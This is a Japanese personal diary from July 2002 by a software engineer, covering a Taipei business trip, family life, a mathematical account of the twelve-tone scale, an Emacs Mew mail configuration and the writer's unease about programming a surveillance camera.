77402   ./hiroko-70s                              HIROKO TANIYAMA '70s
75090   ./mouhitorino-alice                       もうひとりのアリス
74994   ./yume-hankyuu                            夢半球
74386   ./tanpopo-salad                           たんぽぽサラダ
74130   ./shima-uma                               しまうま
73362   ./kagamino-nakano-anatahe                 鏡の中のあなたへ
72594   ./mizuno-nakano-lion                      水の中のライオン
70690   ./kokoha-haruno-kuni                      ここは春の国

来ちゃいましたよ。人権侵害専用監視カメラ。この移動制御を書かねばならぬ。それにしても、機能は形態に反映しますな。たとえば、前に制御プログラムを書いた、 Canon VC-C4 などは、監視用というより、コミュニケーションカメラという位置づけなので、形も洗練されているし、画像も綺麗。今回のは、明らかに監視用。醜悪な形態ですな。
Canon VC-C4 のカメラコントロールは、他のカメラと比べてコマンド体系も一番きれいで、非常に記述が楽でありました。カメラにしても、プリンターやスキャナに関しても Canon の製品はセンスの良さを感じます。 Canon と IBM って、全然体質が違うと思いますが、共通しているのは細かいところに配慮が行き届いてるということ。
今日は疲れて仕事にならなかったです。申し訳けなかったけど、今度入社してきた人の歓迎会もキャンセルしちゃったし。３日分を取り返すために、明日と明後日は在宅勤務ですな(^^;。
Java だから FreeBSD で開発できるし。Java も画面関連だと互換性でいろいろ問題が出ますが、サーバー的な用途にはなかなか良いです。
日経サイエンス２００２年９月号(今月号ですな)に「スター・ウオーズエピソード２映像に隠された先端科学」という CG 技術の論文が載っています。わたしも映画は最後まで観ます。

2002年7月25日(木)

6時半起床。朝食を食べに行ったら 7時からとのこと。7時半にホテルを出るので先にチェックアウトしてから朝食。
ベンツに乗りて空港へ。おみやげを買う。会社用と自宅用。面倒なので両方チョコレート。レートの計算違いをして結構高いのを買ってしまった。一瞬綺麗な蝶を三女にと思ったが、経験上こういう生きてないのはあんまり喜ばないのでやめる。
飛行機の席は真ん中の通路側。隣がいない。ラッキー。それにしても、気流が悪くてゆれますなあ。おっと 5メートルくらい落ちたかな。
今日も京成スカイライナー。行きもそうだったけど、２席独占でいい気分。上野経由で会社に到着。おみやげを置きにきただけ。
会社についたら、奥さまからメールが来ていて、二女の誕生日焼き肉大会を今日に延期したとのこと。急いで帰る。焼き肉、おいしかったです(^^)。
一般にビデオカードの 24bit カラーというサイズは DMA と相性が悪く速度がでない場合があります。この場合、ビデオメモリーに余裕があり、チップがサポートしている場合 32bit にすると速くなる場合もあります。だめな場合が多いですけどね。きっと、だめだろうな。やっぱりだめですか(^^;。
今日成田からの帰りに買った週刊文春、87 ページから 4 ページにわたって堀井憲一郎氏登場で、チャネルサーバーCSV-S55 の広告ですね。確かに便利そうですねえ。特に堀井さんとか、故ナンシー関さんが使えば仕事がはかどるでしょうな。

2002年7月24日(水)

台湾のホテルは Royal Hotel Taipei。現地の日本語ができる Yen Joe さんという方が手配してくれました。Joe さんとても親切な方でした(^^)。
最近の大手電気会社の人って、携帯電話が一瞬でもつながらないととても不安になる人が多いみたい。ちゅーか、携帯電話の話しか話題がないのかって感じ。何台も携帯電話を持っていて、その一台がカードを取り替えると台湾で電話できるそうで、カード売り場を一生懸命さがしていました。別に命とられるわけでないのだから、年がら年中つながっていなくてもいいと思うのだが。
朝 9時にホテルを出発して、午前中は、今回のターゲットチップを載せたボードを作っている台湾の Z 社へ行く段取り。ところが、7時15分に目覚ましをかけて、目が覚めてテレビをみたら、なんと 8時15分。朝食を食べる時間がない(^^;。ははは、良く考えたら、見ていたのが NHK の衛星放送で一時間時差があったのです。大丈夫でした。
Z 社で今日の予定を話し合う。わたしはチップのデバイスドライバーを記述するにあたって、テクニカルな疑問を解消しにきたのだが、マーケッティングの話とかが始まって、わけがわからない。あれれ、品質管理のレビューが始まっちゃったよ(^^;。品質管理に関しては見習わなければならないことも多いのですが、それにしても、今回の主旨が、現地に伝わってない気がするんだけど(^^;。
と思ったらどうも午前中のメインは営業的な話だったようで。こういう話は、わたしには理解不能の世界(^^;。
その辺の飯屋で食べた昼食、おいしいです。肉，魚、野菜のバランスが良く、味付けも薄味なんだけどおいしい。沙茶牛肉Ｘ(Ｘは保と上に書いて下に火)を食べました。こういうのを食べてれば長生きしそう。豪華版でなく普通に食べる中国料理がいちばん美味しいのかも知れない。
午後からは、チップメーカーの Y 社へ。 Joe さんが一緒に来てくれるはずだったのに Z 社に残るとのこと、営業組が Z 社に残り、技術組がお客さんの若者と私二人で Y 社へ(^^;。
英語がつらい。ほとんど筆談モード。途中で日本語ができる人が参加してくれて話がスムーズに進み始める。どうやら、こちらで難しい作業をしなくても動作する可能性が強いですね。よかったよかった(^^)。そもそも、わたしが一緒に行く必要があったのだろうか。実労 2 時間(^^;。
どうでもいい話でありますが、わたしは中国系の美人が好き(^^)。そういう観点からすると、歩いていてなかなか楽しかったです。
Z 社に戻り、夜は Z 社の人たちと一緒に会食。ホテルに着いたのが 22時頃。そのまま風呂に入ってダウン。観光なし(^^;。

2002年7月23日(火)

たかが２泊３日の旅行でも、荷物まとめるのが大変。あとパスポート忘れたら大笑い。
今日は、15時30分に成田でお客さんと合流。余裕をもって、お昼頃に会社を出よう。ところで、二子玉川から成田ってどの経路でいけばいいのだろうか。東京に出て、成田エクスプレスかな。
↑上野経由で行きます(^^)。
それにしても、台湾は暑そうですなあ。遊ぶ暇もないし、まったく楽しくないですな(^^;。

ノートは持っていくので、台湾のホテルからインターネットに接続できれば面白いんだけど、きっと無理でしょうね。飛行機はこれ。万が一落ちたら線香の一本でもたててちょうだい(^^)。
```
          都市         月日(曜日) 時間    便名   予約  所要時間 備考
-------------------------------------------------------------------------
  成田/新東京国際空港   7/23(火) 18:25  UA 801/B  OK       3H45 LV4QX4/UA
  台北                           21:10                   NOSTP  1/1

  台北                  7/25(木) 10:20  UA 800/B  OK       3H10 LV4QX4/UA
  成田/新東京国際空港            14:30                   NOSTP  1/1

-------------------------------------------------------------------------
  UA:ユナイテッド航空
```
今日は二女の誕生日。一緒にケーキを食べようと思っていたのだが中止。
今日はチャチャさまのところ調子がいいですね。やっぱり NTT があやしいな。フレッツのトラブルが頻発しはじめたのと同期してませんか。なんか、機材を入れ替えたのかなあ。
んっ、見た瞬間にまやちょんだと分かりましたが。チャチャさま、しいねちゃん以外の企画を希望いたしま～す(^^)。わがままマリンちゃんが好きなの～。
それでは、ノート PC のガロアちゃんと、彌永先生のガロア本をもって出発だ～。
お客さん 2 人と私で、現地に着いたのが現地時間 21時30分頃。ホテルに22時30分頃到着。そのまま風呂に入って、おやすみなさい。

2002年7月22日(月)

なんと、突然明日の夕方から、台湾出張(^^;。海外出張なんて初めて。木曜日に帰ってきます。きっと飛行機に乗ると、禁煙したご利益を感じるでしょうね(^^)。
なんか、最近、チャチャさまのところ、いまいち速度が出ない感じなんですが、気のせい？
ある量受信すると一瞬止まって、また再開する感じ。これが、有名な「一休み現象」ですか～。
↑もっ、もしかして、余計なこと書いちゃったかな(^^;。
「一休み現象」直ってますね。何が原因なんだろう。
いまいち安定しないですね。こっちのトラフィックも分からないのでなんとも言えないですけど。と思ったらまた良くなってきました。
むむっ、また偏頭痛。今日は軽症。←こんなこと書いてもだれも面白くないのですが、偏頭痛周期録ということで、自分用の記録です。
前に PC が調子悪くなったときに、「まさか 21 才になったわけないよね」と書きましたが、愛する Evariste Galois は 1811年10月25日生まれ、 1832年5月31日没なので、20才ですね。生没年は覚えていましたが、日付までは覚えていなかったので間違えました。
昨日、三女をサイエンス倶楽部に預けて、奧さまとデートしていたとき、ちょっと前の本ですが、
```
彌永昌吉著  「ガロアの時代ガロアの数学～第一部 時代篇」 ISBN4-431-70688-7
```
を買いました。まだ読んでいません。ただ、インフェルトの有名な本「ガロアの生涯―神々の愛でし人」の内容に対して批判的な部分は多いようです。インフェルトの本は、大学に入ったら、生協に山積みになっていて、ガロアファンの私としてはすぐに購入して読みました。この本は、ちょっと思想的背景が強すぎるのと、創作部分が多すぎる面はあります。
彌永先生、1906年にお生まれでございます。上の本の出版が 1999 年。しかも、もうすぐ、第二部も出版予定というのですから、本当にすばらしいとしか言いようがありません。 90代の老数学者が青春の数学者の伝記を書く。ロマンティックで良いですなあ。
実を言うと、わたくし、高校２年生の頃まで、数学か物理か化学のどれを専門にしようか迷っていたのです。数学にした決定的な理由は、ガロアのことを偶然知ったからですね。あこがれてしまいました。なんといっても、数学少年永遠のアイドルですからね(^^)。
大学の数学科に進学したのは「ガロア理論を理解したい」という理由が大きいです。数学なんて挫折しちゃったのですが、この目的は達成したかな(^^)。もう忘れちゃったけど。
Google で「ガロアの時代ガロアの数学」を検索したら最初に現れたのが日経サイエンス2000年１月号の紹介ページ。この号の「ミレニアム特集2050年大予測。科学はどこまで進むのか」の S.ワインバーグの解説記事「大統一理論は完成するか」。わたしは、物理学の今後の展望に関して、これほど分かりやすく、本質的で、簡潔な説明を読んだことがありません。興味がある方は、バックナンバーを取り寄せて読んでみても絶対に損しないと思います。感動的であります。

2002年7月21日(日)

昨日茹でた、茹で玉子。２つとも行方不明(^^;。殻もない。普通、子供やわたしが勝手に食べると、その辺に残骸が散乱しているはず。どうしたんだろう。不、思、議。
今日は久しぶりに三女のサイエンス倶楽部に。8時30分に、三女、奧さまと一緒に行く。
家に戻ったのが 15時30分。暑いですなあ。ちなみに、今日の実験は「茹で玉子」で空気圧の実験だったそうで(^^;。
まさか、茹で玉子に重大なる不足が発生して、先生が盗みにきたわけないよな。
この教室の先生、男の先生も、女の先生もみんないい意味での理系おたく顔。なかなかアヤシくってカワユイのです。顔も考慮して選んだとした思えませんな。顔で選べば大きな間違いはないですしね(^^)。
会社の P 君が最近中古の IBM ノートマシンを買って、元値は 30万、もとい 45万位したと思うのだけれど、やはりキータッチが良いですね。そうそう、彼はキーボードを英語化しているし。わたしの R30 は IBM のノートとしては安物なので、キータッチはちょっと安っぽいのかも知れません。それでも、ほかのメーカーとは比べ物にならないですね。どうせ FreeBSD 専用機なので英語化したいのですけど、お金がなくって(^^;。なんせ、受験生二人かかえてるし、パパは完全に谷山さんモードだし～(^^)。
あと、落ち着いたらドメインをとって、3万円位の旧機種ノートで、自宅のサーバーというのも悪くないですね。
R30 は結構高いと思いますが、それにしても、こんな高いのだれが買うのかな。確かにキーは頑丈なのだろうけど。
最近は、もう、後のことはあんまり考えずに、破綻しない程度に、好きなことをして生きていこうという気になってますね。その方が家族関係もよくなるみたいだし。あんまり先のことばかり考えるのは良くないですね。行動するかしないか迷った場合、行動する方に向かいます。
昨日、12音階の話で、完全5度ずつ上昇する音列をオクターブに詰め込むと、丁度 12 でだいたい巡回すると書きました。誤差が 1.3% 位あるわけです。これを補正して丁度 12 音が(対数的に)均等に収まるようにしたのが平均律です。
平均律は、オクターブ単位で丁度巡回するように調整した音階なので、和声という意味では純正律に比べて綺麗でないとされています。純正律で演奏された曲を聴いたこともありますが、たしかに和声が綺麗。
うーん、綺麗なんだけど、好きになれない。
人間の耳と言うか脳は、少々の揺らぎとか誤差があるものに対して、良いと感じる性質をもっていて、本当の誤差なしの情報にはあまり快感を感じないのかなと思うのです。ほら、正弦波の音なんて数秒で頭がおかしくなっちゃうでしょ。
というわけで、2の巾と3の巾が絶対に等しくならないということは、音楽を楽しむ上でなかなか良いことなのかなと思ったりします。

2002年7月21日(日)

昨日茹でた、茹で玉子。２つとも行方不明(^^;。殻もない。普通、子供やわたしが勝手に食べると、その辺に残骸が散乱しているはず。どうしたんだろう。不、思、議。
今日は久しぶりに三女のサイエンス倶楽部に。8時30分に、三女、奧さまと一緒に行く。
家に戻ったのが 15時30分。暑いですなあ。ちなみに、今日の実験は「茹で玉子」で空気圧の実験だったそうで(^^;。
まさか、茹で玉子に重大なる不足が発生して、先生が盗みにきたわけないよな。
この教室の先生、男の先生も、女の先生もみんないい意味での理系おたく顔。なかなかアヤシくってカワユイのです。顔も考慮して選んだとした思えませんな。顔で選べば大きな間違いはないですしね(^^)。
会社の P 君が最近中古の IBM ノートマシンを買って、元値は 30万、もとい 45万位したと思うのだけれど、やはりキータッチが良いですね。そうそう、彼はキーボードを英語化しているし。わたしの R30 は IBM のノートとしては安物なので、キータッチはちょっと安っぽいのかも知れません。それでも、ほかのメーカーとは比べ物にならないですね。どうせ FreeBSD 専用機なので英語化したいのですけど、お金がなくって(^^;。なんせ、受験生二人かかえてるし、パパは完全に谷山さんモードだし～(^^)。
あと、落ち着いたらドメインをとって、3万円位の旧機種ノートで、自宅のサーバーというのも悪くないですね。
R30 は結構高いと思いますが、それにしても、こんな高いのだれが買うのかな。確かにキーは頑丈なのだろうけど。
最近は、もう、後のことはあんまり考えずに、破綻しない程度に、好きなことをして生きていこうという気になってますね。その方が家族関係もよくなるみたいだし。あんまり先のことばかり考えるのは良くないですね。行動するかしないか迷った場合、行動する方に向かいます。
昨日、12音階の話で、完全5度ずつ上昇する音列をオクターブに詰め込むと、丁度 12 でだいたい巡回すると書きました。誤差が 1.3% 位あるわけです。これを補正して丁度 12 音が(対数的に)均等に収まるようにしたのが平均律です。
平均律は、オクターブ単位で丁度巡回するように調整した音階なので、和声という意味では純正律に比べて綺麗でないとされています。純正律で演奏された曲を聴いたこともありますが、たしかに和声が綺麗。
うーん、綺麗なんだけど、好きになれない。
人間の耳と言うか脳は、少々の揺らぎとか誤差があるものに対して、良いと感じる性質をもっていて、本当の誤差なしの情報にはあまり快感を感じないのかなと思うのです。ほら、正弦波の音なんて数秒で頭がおかしくなっちゃうでしょ。
というわけで、2の巾と3の巾が絶対に等しくならないということは、音楽を楽しむ上でなかなか良いことなのかなと思ったりします。

2002年7月20日(土)

無題
今日から夏休みだそうです。私はどうせ土日しか家にいないけど、奧さま、さぞかしうっとおしいでしょうな。
谷山さんがホームページで「終わったモードにはいれません」と書いていますね。あれだけ完璧な舞台だったので、終わりたくなかった気持ち、良く分かります。わたしだって、終わってほしくなかったもん。
今日は海の日なんですね。知らなかった。そもそもいつからあるの。昨日、お客さんのところで、冷房が効きすぎて今日は風邪気味。それにしても暑いですね。
11時半からドラムの練習。今日ドラムパートの録音の予定だったのだけれど、先生が別件の仕事ありで時間不足。来週に延期。内容は完璧(^^)。

2の巾と3の巾のきしみ = 音階

昔から１オクターブが 12音からなっている理由が分かりませんでした。小学生の頃から音楽の先生とかいろいろ聞いてみたのですが、どうも明確な説明をしてもらった覚えがありません。

最近、理由らしきものを思いついたのですが、あたりまえなのでだれも言わないのか、間違えているのか、他のもっと分かりやすい説明があるのか、そのあたりが良く分かりません。とにかく書いてみます。

１オクターブ音を高くすれば周波数が 2 倍になるのは周知の事実です。また完全５度(C と G の関係)音をあげれば周波数は 3/2 倍となります。

今、音階の概念がまだ存在しないとします。音階を作るために、基本の音をとって 3/2 倍ずつ音を上げていくことを考えます。 3/2 倍がオクターブ以外で一番「自然な」倍率と考えます。

すると下記表の様に、上昇する音列ができます。ただし、C,G,... と書いてある音名は「便宜上」のものであります。何と言っても、まだ音階が 12 と分かっていないのです。

これでは、単に上昇していくだけで、全然音階になりません。音階にするために 1 オクターブに詰め込む作業が必要です。そこで、適当な 2 の巾で割り算して結果が 1 と 2 の間におさまる様にします。その結果が「正規化」とその「小数」の部分です。すると、おどろくなかれ。 B# の行の値が 1.01364 になるではありませんか。もちろん、この段階で B# という名称も便宜的なものです。

音階というからには、あまり大きくない周期がほしいのですが、2 の巾と 3 の巾の商で周期をつくれと言われてもこれはもちろん不可能です。しかしながら、うれしいことに (3^12)/(2^19) は非常に 1 に近いのです。これが 12 音で 1 オクターブを作る理由だと思うのですが、どんなもんでしょうか。若干の誤差があるので、それを調整すると平均律になるのだと思います。もし、こんなの違うとか、あたりまえだとか、その他ご感想があったら聞かせて欲しいのです。

ちなみに、オクターブをを 53 音にすると、一回りで 1.002090 倍と非常に良好な値が得られますが、いくらなんでも細かすぎるでしょう。もっと頑張るなら 359 音で1.001066 倍となります(笑)。もう一頑張り 665 音で 1.000044 倍(^^;。同様にフラット系列は、音を下げることで得られます。

便宜上の音名倍率具体的な分数正規化小数

C 1 1 1 1

G 3/2 3/2 3/2 1.5

D (3/2)^2 9/4 9/8 1.125

A (3/2)^3 27/8 27/16 1.6875

E (3/2)^4 81/16 81/64 1.26563

B (3/2)^5 243/32 243/128 1.89844

F# (3/2)^6 729/64 729/512 1.42383

C# (3/2)^7 2187/128 2187/2048 1.06787

G# (3/2)^8 6561/256 6561/4096 1.60181

D# (3/2)^9 19683/512 19683/16384 1.20135

A# (3/2)^10 59049/1024 59049/32768 1.80203

E# (3/2)^11 177147/2048 177147/131072 1.35152

B# (3/2)^12 531441/4096 531441/524288 1.01364

結論。一オクターブが 12音からなっているのは (3^12)/(2^19) が 1 に近いから。

2002年7月19日(金)

ちょっと古ねたですが、文藝春秋８月号、櫻井よしこ氏、「警告！ネット監視社会が来る」。わたし、櫻井氏とは反対の立場であることも多いのですが、今回は必読です。ちょっと突っ込みが弱い面はありますが。
関連リンクはここかな。最初に S 君から情報をもらいました。また、亀井静香氏が反対ですか。良識あるんだけどな。上リンクにも書いてあるけど、旧守派の方が、人権にも安全保障にもちゃんとした考えをもっている人が多いです。
文藝春秋社の雑誌は、ちゃんと内容を取捨選択すれば質が高い思います。
大阪行き決定(^^)。えーと、予算ですか？
うーん、なんとかなるでしょ(^^;。
JPEGに特許が存在。こういうくだらん特許はほんとうにやめてほしい。米国特許4698672号。そこまでして金儲けをしたいのか。遺伝子工学なんかも、ゲノム情報を特許にしたりするからますます不信感が増えるのです。知識を共有して、みんなで幸せになるという発想がないんだ。
その点、中松大先生の石油ぺこぺこなどは、独創性、簡潔性、実用性いずれの観点からも特許の中の特許と言えますな。
あっしの方にも、アメリカに1000億円威し取られた会社から、 PC のマウスを利用したカメラ移動制御に関して脅しが来るんだ。あんなの、だれだって思いつくだろうが。ばーか。
最初に「なんとかの件に関してご相談があります」って来るんです。やくざの手法ですね。
翼竜・タラソドロメウス　巨大なトサカは冷却装置？
ステゴザウルスの背中のひらひらも冷却装置という説が有力です。
今日からの恐竜博。三女をつれていってあげたいな。もう前売り券は買えないのかな。割引券ないかな。
今日もお昼前から２時間かけて埼玉県。帰りは直帰の予定。
13時半に客先の近くの駅について、たこ焼きを食べると共食いとなるので、結局吉野屋で牛丼を食す(^^)。
7時半頃藤沢駅に到着。ところがバス通りの私の家を過ぎたところでタンクローリーが横転したとのこと。バスは全然動いてないそうなので歩いて帰ってきました。疲れた～、暑～い(^^;。

2002年7月18日(木)

高校生の頃は結構まめに映画を観ていました。福島で上映された新しい洋画はだいたい観てたんじゃないかな。当時はニューシネマ全盛の時代で、その時代を象徴していたのが「イージー・ライダー」かな。あと「いちご白書」なんていうのもありましたね。今考えるとたいして面白い映画じゃなかった思うのだけど、当時は結構いいと思っていたのだから、ものを見る目がなかったんです。
大学生になったころから、数学ばっかりに熱中して映画も観なくなってしまいました。高校生の時良さが分からなくて、大人になってから偶然テレビで観て感動したのが「ひまわり」です。これは泣いちゃいました。ひまわり畑の映像は目に焼きついています。
それにしても、いくら高校生とはいえ、この映画の良さが分からなかったとは情けない(^^;。精神年齢低かったし、前衛的でないとダメだと考えていた面もあるかも。
今は分からないけど、昔は良いイタリア映画がたくさんありましたね。
あと、今でもたまにビデオを観るのが「第三の男」。たいして映画を観ているわけでないけど、これほど映像そのものの美しさを追求して成功した映画はあんまりないと思う。
マイナーだけど好きだった映画は、「フォロー・ミー」です。ミア・ファロー可愛いんです(^^)。
これもマイナーで「シベールの日曜日」。パトリシア・ゴッジですね。
フォロー・ミー以外は戦争の陰がありますね。そういう時代だったのかな。
最近の映画は「少林サッカー」しか観てないからわからないです(^^;。古い映画の話ばっかりですみませんでした。
「HIROKO TANIYAMA 70's」「HIROKO TANIYAMA 80's」「カントリーガール」を mp3 化。ずっと未開封だったのです(^^;。
カントリーガールのジャケット、写真つきの本みたいですごくいいですね(^^)。偶然とはいえ、うまいこと手に入りました。
全部で 363 曲。ディスク容量が 2.8G です。これで新譜が出るまで一休み。ディレクトリ状況を更新。
CD がすべてじゃないけど、谷山さん 25年分を圧縮して 2.8G ですか。わたしが前の会社をやめるとき 7 年分のソースを圧縮したらフロッピーに入ったよ(^^;。プロだから、短くて速い(^^;のを目指してはいるんだけど。
最初から分かっていたことなんだけど、せっかく個人のメールアカウントを取っても、自分のマシンの sendmail を使っていて、ホスト名が会社のドメインになっているので、ヘッダに会社のドメインが入るよな。プロバイダの sendmail を使うのは面倒そうだし、自分のドメインを作るのもまたお金がかかるし。どうすれば一番いいのだろう。そもそも sendmail.conf、もとい sendmail.cf が絶対に理解不可能だしね(^^;。と思ったら、最近だいぶ楽をする方法がある様なので、家に帰ったらいろいろやってみよっ。

一応 Mew の設定だけで、localhost 経由と biglobe の smtp-auth 経由で転送切り替えができるようになりました。もちろん会社から投げた場合、会社のアドレスは Received: フィールドに入りますが、自宅からの場合、会社の情報は入らないでしょう。こんな感じ。ちゅーか、別に smtp-msgid-domain とか下記の様にして localhost でいいのかな。

(setq mew-config-alist
      '(("biglobe"
         ("smtp-server"     . "mua.biglobe.ne.jp")
         ("user"            . "kagami")
         ("mail-domain"          . "xqb.biglobe.ne.jp")
         ("smtp-msgid-domain"    . "xqb.biglobe.ne.jp")
         ("smtp-msgid-user"      . "kagami")
         ("smtp-user"      . "kagami@xqb.biglobe.ne.jp")
         ("smtp-auth"       . 't))
        ("default"
         ("smtp-server"     . "localhost"))))

(~~)/ と (^^)/。間違えた。↑大丈夫そうですね。
特に sendmail に細工をしないで localhost とすると、さすがにドメイン情報が入ってしまう様です。素直に biglobe を使います。将来的には自宅サーバーが欲しいですね。

2002年7月17日(水)

二女の修学旅行顛末。奥さま投稿。長文です。HTML 化の作業において、改行は著者の了解なしに(^^;変更しました。パラグラフは原文の通りのつもりです。
大阪公演、だんだん行きたくなってきた。チケットをとって既成事実を作ろうかな(^^)。
幻想図書館の３連ちゃんでも結構疲れたんだけど、１１月は体力が持つのか(^^;。
証拠の歌の訳詞を谷山浩子さんに。
さっき「がちゃ玉」でソースリストを綴じていて思いついた早口言葉。
「おおがちゃだま、ちゅうがちゃだま、こがちゃだま」

こんなことばっか考えているから出世しないんだ。
本日発売週刊文春の「ホリイのずんずん調査」。
「人形の国のアリスフィギュア全１８種類」蒐集記録ですね。堀井さんは関西の人だから手に入るのかな。
↑大間違い。ページの下の方に高田馬場近辺のコンビニで買いまくった書いてありました(^^;。
中村うさぎさんと堀井さんがいつも面白い。二人とも頭がいいし文章が上手。
今日の奥さま手作りお弁当はおいしいおいしい「う、な、ぎ」(^^)。
まいったか～(^^)/。
おそれいったか～(^^)/。
そういえば、大学時代の生物の故・永野為武先生。授業はすごく面白くて人気があって、テストも教科書持ち込みで楽勝。試験中は全員索引を一生懸命めくっていました。大学のテストなのに全部マルバツだったという(^^;。
ほとんど全員が 100点か 95点だったのです。100点だと A、95点以下だと B。どこで 5 点の差がついたかというと、
うさぎのなんとかは、かんとかである。マルかバツか。という問題。
教科書をみると、うさぎの部分がうなぎ(^^;。バツが正解。えっ、わたくしですか？
もちろん 100 点でございました(^^)。
ここによると河北新報の俳壇選者をされていたそうですね。人生を楽しむ風流人という趣きの先生でした。
最近 DTI というか、NTT 関西というか、不調ですなあ。

2002年7月16日(火)

雨風がすごいですね。家に電話をかけたら三人ともお休みだそうで。うらやましいですな。
二女の修学旅行の件で、昨日奥さんが担任と話をしてきました。全くお話にならないのです。女子は悪くないけど、男子が悪いことをしたので連帯責任があるんだそうで。
しかも数学の成績、前回まで 2 だったのが今回 5 だったのだけど、「成績に負けないよう頑張りましょう」だって。まるでマグレかカンニングしたみたいじゃないか。成績が能力に追い付いたんだよ。あんたなんかに数学のこと言われたくないね。あんたが想像できないくらい能力があるんだよ。
詳しくは、奥さまが特別寄稿いたしますのでもうしばらくお待ち下さい。女性の家庭科の先生、低能です。まったく２ちゃんねるに馬鹿先生スレッドをたてたくなるよ。
だけど私が行かなくて良かったかも。若い頃から自分の感情をコントロールできたことなど一度もないのだから(^^;。

明るい話題を。幻想図書館最初の日、奥さまといっしょに聴きにいったのですが、奥さまのご意見。


奥さま>さすがにプロの演技はすごいね。特に大森さん。

わたし>そうだね。

奥さま>ところで、赤い服を着ていろんな楽器やっていた人だれ？

わたし>石井ＡＱさんといって谷山さんのプロデューサー。

奥さま>ものすごく頭いいひとでしょ。

わたし>そうだよ。

奥さま>上手だね。谷山さんがすごいのはもちろんだけど、ＡＱさんが一緒だったから
       長年安定して続けられた面があるんじゃないの。

わたし>そう思うよ。

奥さま>やっぱり本当の才能のある人の回りにはいい人が集まるね。

わたし>そうだね。

と、奥さまの人間観察力は鋭いのであります。一度会うと一瞬でその人の本質を見抜いてしまうのです。じゃあ、わたしはどうなのかというと、「一生で一番大切なときに一度だけ間違えた」そうであります(^^;。

わたしからみると、ちょっとだけ何かの才能があってわがままな人間を好きになって苦労してますね(^^)。

時間的にも予算的にも 11月の大阪は苦しいかな。←また迷いはじめました(^^;。

2002年7月15日(月)

会社に着いたら、R30(galois)が届いていました。長い入院生活でありました(^^)。
液晶不良により交換とのこと。７か月位使っているのですが、だいぶ明るくなって退院してきました。寿命が半年のびましたね。
さっそく Wnn7 をインストール。おー、動く動く。昔の DOS の仮名漢字変換程度かな(^^;。
幻想図書館で歌われた曲名。大阪も終わったことだしアップしようと思っています。一通りメモってきたのだけど、「クルル・カリル」と「ウミガメスープ」の間に歌われた曲名が、あんまり字がきたなくて読めな～い(^^;。暇なときにでも教えてくだされ m(__)m。
↑「わたしは淋しい水でできてる」だそうです。ありがとうございます。
とりあえず曲名リスト作成。特に記述がない場合、作詞・作曲とも谷山浩子さんです。
大阪府内の電話、かかりにくい状態　ＮＴＴのトラブルか。最近 NTT 西日本不調ですな。
ノート PC が返ってきたので音楽も聴けるようになりました。「クルル・カリル」。美しいデュエットを思い出します(^^)。情景がフラッシュバックします。
ほかにも何曲か聴いたのだけれど、音楽が以前よりストレートに心の中に入ってきます。今回の体験はわたしにとって非常に大きかったのでしょう。
昨日のグレゴリオ歴の話に関して S さんが教えてくれました。 UNIX 系 OS で cal 1752 とすると 9月のところが面白いそうです。
```
       September 1752
    Su Mo Tu We Th Fr Sa
           1  2 14 15 16
    17 18 19 20 21 22 23
    24 25 26 27 28 29 30
```
ついでに S さんが教えてくれた日本の場合の旧暦から新暦変更に関する URL。
わたし、かなりの理系オタクだと思いますが、 S さんの知識には負けそうになることがしばしば。今回の話は理系の話じゃないけど。

2002年7月14日(日)

今日はイベント疲れで、奥さまと食糧買い出し以外は一日家に。
三女が 2002x365 はいくつかと聞いてきたので、「うーんめんどい。自分で計算しな」と言ったら、世界の始めからの日数を計算していたということ。カレンダーをみて今年の日数も加算していました。
西暦 0 年が世界の始めらしいです(^^)。あとうるう年は考慮されていませんね。そもそもグレゴリオ歴っていつからだろう。このような役に立たない計算が好きなのは私の小学校時代のようです。長女と二女は数に関する感受性はあまり鋭くないんだけど、三女に関しては親バカでちょっと期待しているのです(^^;。
昨日音楽発表会の話を書きましたが、ピアノの音色について。サンプルは少ないのですが面白い発見をしました。
三人女の子を育てていますが、みんな小さいときからピアノにさわっているわけです。ところが、ドレミも分からない２才とかそんな年齢でも、三人とも音色にはっきりとした個性があったのです。長女はレガートが綺麗な繊細な音色。二女ははっきりした音色。三女はノンレガートでの音階がとても綺麗。
驚くべきことに、この音色は現在でも変わっていないのです。いい先生について、綺麗な音を出すタッチの訓練も受けているに違いなのですが、基本的な音色は変わりません。ピアノの音色の基本的な部分は生まれつきかなりの部分が決定している様です。
子供の生まれたときから変化しない個性が多いことに驚かされます。
よく覚えていないのですが、少し前に異常行動を起こす少年の異常の原因に関して、「なにが原因か」ということを調査した記事を読みました。親の教育とか学校の教育とかいろいろな項目があったのでしたが、「生まれつき」という項目がないのに驚きました。教育論で「生まれつき」だめであるとかいうことはタブーなのかな。個人的には生まれつき決定している要因が非常に大きいと思います。

2002年7月13日(土)

大阪では「谷山浩子の幻想図書館 Vol.2～不思議の国のアリス」。いってらっしゃ～い(^^)/。
横浜で「わたしの娘のピアノの発表会」。いってきま～す(^^)/。
三女が弾いた曲は、エレクトーンで「CHALLENGE THE WORLD ～犬夜叉より」。ピアノがショパンのワルツ作品61の1「子犬」。良い演奏だったと思います(^^)。
二女は春に引退し年寄りとなりて裏方仕事。長女はほとんど先生とおしゃべりするだけのためにまだ習っているが、最後に M ちゃんとディズニー・シー・テーマソング。
一生懸命練習してきた子供とか才能がある子供の演奏というのは、気合いが入っていると言うか、聴いていて非常に楽しいし気分が良いものです。はらはらドキドキ感はありますけど(^^;。
家を 8 時半頃に出て、終わった後先生や子供達と打ち上げをやって、そのあと近くの公園で花火。帰ってきたのが 20時半頃。コンサートホール疲れです(^^;。
例年のことなんだけど、ピアノやエレクトーンの発表会という雰囲気でなく、子供コンサートという感じなのです。この音楽教室とも 10 年来の付き合いです。長女と二女と私が(^^;一期生。

2002年7月12日(金)

自分の仕事の結果が倫理的に問題がある用途に使われると分かっている場合、みんなどのように心の折り合いをつけているのだろうか。技術者にとっては結構深刻な問題である場合が多いと思うのだけれど。
汎用的な技術の場合は上記のような悩みは余り生じないわけで、例えば一般の暗号化プロトコルの開発を行っている場合、それが政府に悪用されるとか、犯罪に使われるとかということまで考えていたらなにも出来ないわけであって、悩む必要もないしそんな人もいないと思う。
ところが、かなり具体的なレベルで自分の技術が例えば拘置所の２４時間監視カメラのような人権侵害の用途に使われることが分かっている場合、どのように対処すればいいのだろう。理性のある人間ならばこんなことやりたくないという気持は当然であるし(それを喜んで行う非常に品性・知性ともに劣っている人もいるが...)、そうはいっても、わたしにだって生活はあるわけで、しかも自分一人じゃない。「そんなこと出来ません」とも言えないし、なかなか自分自身と折り合いがつかない。非常に憂鬱なのであります。←やはりこういう場合仕事をやめるべきですな。
加藤九段、本因坊に返り咲き。すごいですねえ。この人、わたしが学生の頃全盛だったんだ。頭脳もすごいけど、体力が並外れているのでしょうね。
